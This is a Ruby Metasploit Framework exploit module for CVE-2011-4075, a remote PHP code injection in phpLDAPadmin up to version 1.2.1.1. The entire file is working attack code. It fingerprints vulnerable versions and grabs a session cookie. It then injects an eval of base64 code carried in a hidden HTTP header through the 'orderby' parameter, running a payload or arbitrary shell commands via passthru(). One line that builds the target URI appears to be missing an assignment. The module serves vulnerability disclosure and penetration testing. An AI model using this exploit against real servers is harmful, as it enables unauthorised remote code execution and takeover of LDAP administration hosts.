##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
			'Description'    => %q{
					This module exploits a vulnerability in the lib/functions.php that allows
				attackers input parsed directly to the create_function() php function. A patch was
				issued that uses a whitelist regex expression to check the user supplied input
				before being parsed to the create_function() call.
			},
			'Author'         =>
				[
					'EgiX <n0b0d13s[at]gmail.com>',               # original discovery/poc
					'mr_me <steventhomasseeley[at]gmail.com>',    # msf
					'TecR0c <roccogiovannicalvi[at]gmail.com >',  # msf
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2011-4075'],
					['OSVDB', '76594'],
					['BID', '50331'],
					['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
					['EDB', '18021'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 4000,
					'Keys'        => ['php'],
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Oct 24 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
				], self.class)
	end

	def check
		uri = normalize_uri(datastore['URI'], 'index.php')

		res = send_request_raw(
			{
				'method'  => 'GET',
				'uri' => uri,
			}, 3)

		if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def get_session
		uri = normalize_uri(datastore['URI'], 'index.php')

		res = send_request_raw(
			{
				'method'  => 'GET',
				'uri' => uri,
			}, 3)

		if (res.nil? or not res.headers['Set-Cookie'])
			print_error("Could not generate a valid session")
			return
		end

		return res.headers['Set-Cookie']
	end

	def cleanup
		# We may not be using php/exe again, so clear the CMD option
		if datastore['CMD']
			datastore['CMD'] = nil
		end
	end

	def exploit
		# if we are using the exec CMD stager
		# important to check which php functions are disabled
		if datastore['CMD']
			p = "passthru(\"%s\");" % datastore['CMD']
			p = Rex::Text.encode_base64(p)
		else
			p = Rex::Text.encode_base64(payload.encoded)
		end

		# Generate some random strings
		hidden_header = rand_text_alpha_upper(6)
		fake_func_name = rand_text_alpha_upper(2)

		# build sttack string
		php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
		data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
		session = get_session

		uri normalize_uri(datastore['URI'])
		uri << '/' if uri[-1,1] != '/'
		uri << 'cmd.php'

		res = send_request_cgi(
			{
				'method' => 'POST',
				'uri' => uri,
				'data' => data,
				'headers' =>
					{
						"#{hidden_header}" => p,
						'Cookie' => session,
						'Connection' => 'Close',
					},
			}, 3)

		print_status("%s" % res.body) if datastore['CMD']
	end

end
